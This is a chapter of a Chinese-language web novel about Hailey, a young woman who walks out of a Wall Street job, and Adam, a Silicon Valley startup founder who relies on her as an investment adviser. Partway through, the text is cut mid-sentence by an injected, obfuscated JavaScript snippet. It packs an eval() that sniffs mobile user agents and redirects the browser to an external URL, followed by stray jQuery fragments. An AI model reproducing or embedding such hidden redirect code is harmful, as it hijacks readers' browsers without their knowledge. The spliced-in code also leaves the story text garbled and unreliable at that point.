很多年后，海莉回忆起自己的第一份工作，总是庆幸自己没有沉迷于那些轻松赚来的钱。三个月的时间，她挣了数十万美金，超过了华尔街上95%的交易员。然后，她潇洒地离开，没有丝毫留恋。
后来，她再次看到乔丹·贝尔福德的名字是在报纸上。他被卷入一桩臭名昭著的证券诈骗案，官司打了整整五年。为了减刑，这个混蛋出卖了无数昔日的“狐朋狗友”，最终只被判了三年监禁。
实际上，他在监狱里只呆了22个月。而当他出狱时，海莉已经成为了“华尔街女王”。
但那是很多年以后的事了。
而现在，海莉满怀着怒气冲出公司，她怒火中烧，心怀愤恨。
她当然是个金发碧眼的美人不错，但这些优势在某种程度上也成了她的枷锁。如果她是一位白人男性，拥有相同的MIT学历和出色的履历，她大概早已被曼哈顿区的顶级投行们争抢。而现在，那些摩天大楼里的精英机构多数都拒绝过她，她甚至不知道自己还能用什么办法敲开那些大门。
难道真的要去卖保险？或者找另一家三流证券公司再试试？
寒风中，她仰头吐出一口热气，白色的雾气迅速消散。
今天上午刚下了一场暴风雪，厚厚的积雪在街灯的映照下泛着冰冷的微光，整座城市依旧灯火通明。
她的手揣进大衣口袋，指尖冻得发麻。她走进便利店，买了一包烟和一个打火机，在店门口点燃香烟，火光微弱地在空气中跳跃。
然而，第一口烟雾呛得她眼泪直流，喉咙火辣辣地疼。
“Goddamn it！What the hell is this crap？”她骂了一句，猛地把烟吐了出来，咳嗽得眼角发红。
就在她准备把烟掐灭时，口袋里的手机突然响了起来。
“安娜？”她摁下接听键。
“海莉……”电话那头传来安娜的的尖叫，“......”但还没等她说完，一阵清脆的响声传来，像是手机掉在了地上。
“安娜？”海莉皱起眉，“Ania？！”
电话那头却没有任何回应，只有一片空洞的杂音。
她的心瞬间沉了下去了，脑海里闪过无数种可能性。
家里进贼，或者抢劫犯，那可真是倒霉透顶了。
扬娜来要钱...这倒是很有可能，她的确是个毫无下限的母亲。
......
倒霉的人生自有一百万种倒霉的可能，海莉根本来不及为自己丢掉的工作惋惜，她拔腿朝街边跑去。
**
加利福尼亚州·旧金山湾区·圣克拉拉谷
夜幕低垂，街灯在远处的山丘间零星闪烁。
“兄弟，这样下去，我们会破产。”瑞安·克莱默拎着一杯可乐走过来，把一份账目报表摔在桌上。
“我们已经没有钱再买服务器了。要么赶快找到天使投资人，要么就去刷盘子。”
“哦。”屏幕前的男人淡淡地应了一声，双眼紧盯着显示屏，手指在键盘上敲得飞快。
屏幕上显示的是一款名叫Wingmander III: Heart of the Tiger的科幻太空战斗游戏——Origin Systems最新开发的作品，采用全动态视频（FMV）过场动画。
现在看到的是内测版本。
“下个月我就会拿回来两百万美金。”他说。
瑞安火气更大了：“你在逗我？”
“嗯。”对方惜字如金。
“哥们，我们不一定能再坚持一个月。”瑞安受不了噼里啪啦的键盘声，几步走上前去，猛地按下显示屏的电源键。
沉迷于游戏的男人终于猛地抬起头，露出一张神情冷淡的脸。
亚当·卡弗利。
老实说，每次瑞安看到他的脸，都会忍不住怀疑——这个人真的是他认识的那个古怪技术宅吗？
他拥有极其优越的外貌，眉眼锋利又深邃，棱角分明，却又透着些许少年感。只不过他的神情总是淡漠，像是对一切都兴致缺缺，眉宇间带着一丝习惯性的倦意。
如果他的倦容不是因为熬夜打游戏，瑞安可能会稍微少些怒火。
“如果我们完蛋了，你就真的要回去继承你该死的亿万家产了，卡弗利家族将迎接他们的继承人。”瑞安张开双手，愤怒地瞪大眼睛，“而我，你的合作伙伴，只能去睡地下室，靠着在汉堡店洗盘子维持生计。”
“别这么说。”亚当终于开口，用他那双灰色的眸子扫了一眼瑞安，懒洋洋道：“你也有点家底。”
瑞安：……
“服务器！”他把桌子拍得嗡嗡作响，“以及我要重申一下，我父亲拥有一个巨大的农场，上百头奶牛，我们是当地的百万富翁！”
“准确来说我们缺的不只是服务器。”亚当嫌弃地把可乐杯往桌子中间挪了挪，以免遭受对方的摧残，“我们缺的资金，A ton of money。”
至于奶牛，谁在乎呢？
瑞安和亚当是大学同学兼宿舍室友，他们两个还在斯坦福上学的时候，就合伙开了家名为NovaMind的科技公司，主要提供互联网内容分发服务，毕业后公司搬迁到硅谷，雇佣了几个周边毕业的高材生，逐渐拓展了视频编码和压缩技术业务。
有句话叫做二十世纪最后十年是互联网时代，NovaMind这样的公司在硅谷到处都是，能在这样的老板带领下活到现在，只有一个原因，就是这个团队里确实不缺天才。
亚当更是天才中的天才。
NovaMind所有业务的底层代码都由他编写，半年前团队提出要开发一款基于用户行为，用于预测客户偏好的推荐引擎。
这是一幅很美好的蓝图，成功让所有人都热血沸腾，就这样花费了几个月时间，将经费烧的精光，亚当又从信托里折腾一部分资金，投进去，仍然捉襟见肘。
“你说的对，我们需要很多钱，所以能不能再想想办法？”瑞安很崩溃，“你的华尔街小姐呢？”
亚当最近不知道上哪里找了一位“投资顾问”，据称能帮助他的资产实现迅速翻倍，瑞安提醒过他那可能是诈骗，但对方深信不疑。
“她不是小姐。”
“那是什么？你的网络陪聊？”
亚当随口说：“我觉得她是个天才。”
瑞安的表情瞬间像吞了只苍蝇：“天才？”
能把股票销售客服当天才，亚当的脑子准是被他农场里的奶牛踢了一脚。
“你没有见过她写的代码，我敢说我们的团队里还没有拥有这样能力的人。而且她的分析很有逻辑，非常精通从波动中寻找增长点，总之，她很不同寻常。”
能让惜字如金的亚当说出这么多话，足见那位海莉小姐的代码有多么的惊艳，他可是挑剔到不行的男人。
瑞安头皮发麻：“听起来你已经被她骗得团团转了。”
“没有。”
“那只是她营造出来的为了骗你钱的假象，华尔街都是些什么人？吸血的牛氓，他们趴在狮子的背上，能将猛兽的鲜血吸干！”
亚当瞥了他一眼，冷淡道，“你在诋毁她，但我知道你急着要钱，我会提前把钱拿出来。”
“我没有诋毁任何人，我只是就事论事。以及，我真的很着急经费，你不要再摆出一副这么高冷的样子，兄弟，除了女人，没人吃你这一套。”瑞安强压着恶心道。
瑞安深吸了一口气，继续补充：“斯坦福的时候你看不上任何女孩，如今却被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140117|164492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个电话客服哄得团团转。”他摇头，“你的口味真是越来越重。”
亚当压根懒得理会瑞安，他掏出移动电话，熟练地拨出一个号码，准备再一次打扰那位声音甜美又令人信任的年轻女士。
过去一个月里，他们的通话频率高得惊人。无论是凌晨还是深夜，海莉总是耐心、专业且友好。她不仅为他提供了一些相当前沿的市场情报，还会为他做有关科技行业的深度分析。她的逻辑极其缜密，思维也足够敏锐——对于亚当来说，这很难得。
电话拨通了后，照常没让他久等，很快就被接起，
“H—”
然而还没等他喊出那个名字，通话戛然而止。
屏幕上跳出“Call Ended”的字样。
亚当怔了一下，按下重拨键，等待的时间仿佛被无限拉长，他的目光开始有些游移，不自觉地紧盯着那通已经结束的通话记录。
这一次，语音直接被转到了语音信箱。
“怎么？”瑞安还在好奇地盯着他，“不接电话？哥们，别让我说中了。”
“滚。”亚当言简意赅。
他抿紧嘴唇，不信邪地再次拨打电话。
**
海莉气喘吁吁地从出租上跑下来，抬腿冲进了楼道。
纽约的旧楼里头狭窄阴暗，老式电梯运行缓慢，海莉盯了一秒，毫不犹豫地转身推开消防门，沿着楼梯两步并作一步地往上爬。
房门竟然没有关紧，留了一道缝隙，门缝里透出的微弱灯光像是一把冰冷的小刀，直戳她的心脏。
海莉的手指攥紧了门把手，猛地推开门：“Ania！”
屋内的画面让她的心脏几乎漏跳了一拍——沙发上，有个人影正翘着二郎腿，悠闲地啃着一根胡萝卜。
“Hey，sis。”他抬头，露出一个灿烂的笑容，“surprise！”
海莉：......
她微微一笑，抬手把门猛地关上，震得整个房间的玻璃都颤了颤。
下一秒，她冲向沙发，双手精准地掐住男人的脖子，咬牙切齿：“我杀了你，凯！我真的会杀了你！”
“哎哎哎！冷静，冷静！”凯满脸惊恐，胡萝卜从手里掉到地板上，双手胡乱挥舞着，“Ania！救命！”
“是不是你抢的电话？你不是在加州？”海莉怒火中烧，掐得更紧，“你知不知道我以为安娜出事了？！我差点吓死！”
“是个玩笑，玩笑而已！”凯气若游丝地喊，“你这样，我真的要死了！”
海莉深吸一口气，猛地松开手，凯立刻捂住脖子，疯狂咳嗽起来。
另一道紧闭的房门开了条缝隙，安娜从里面探出头，对着海莉做了个鬼脸：“是哥哥逼我的，我说要给你打电话，他把电话抢走了。”
海莉闻言，转头又狠狠瞪了凯一眼。
凯立刻举起双手，后退一步：“我错了，我真的错了！亲爱的妹妹，别生气……不过，我得提醒一下你，你真是暴力得可怕，这性格可不是件好事。”
闭嘴！”海莉顺手抄起沙发上的靠垫朝他扔去。
凯手忙脚乱地接住，嬉皮笑脸地耸耸肩：“我可是专程从加州飞回来，来看望我亲爱的两个妹妹，怎么一点欢迎的意思都没有？”
“你带钱回来了吗？”海莉海莉冷笑，毫不客气地问，“混出了什么名堂没有？拍了哪部电影？演了什么像话的角色？你不会是来找我要钱吧？”
前面几句话还好，到最后一句，凯一张英俊的脸瞬间涨得通红，忍无可忍地大喊：“喂！在你眼里我就是这么没良心的人？”
“不是吗？”海莉淡淡地挑了挑眉，她优雅地坐回沙发，翘起长腿，双手交叠在膝盖上，那双碧蓝色的眼睛微微眯起，目光冰冷锐利。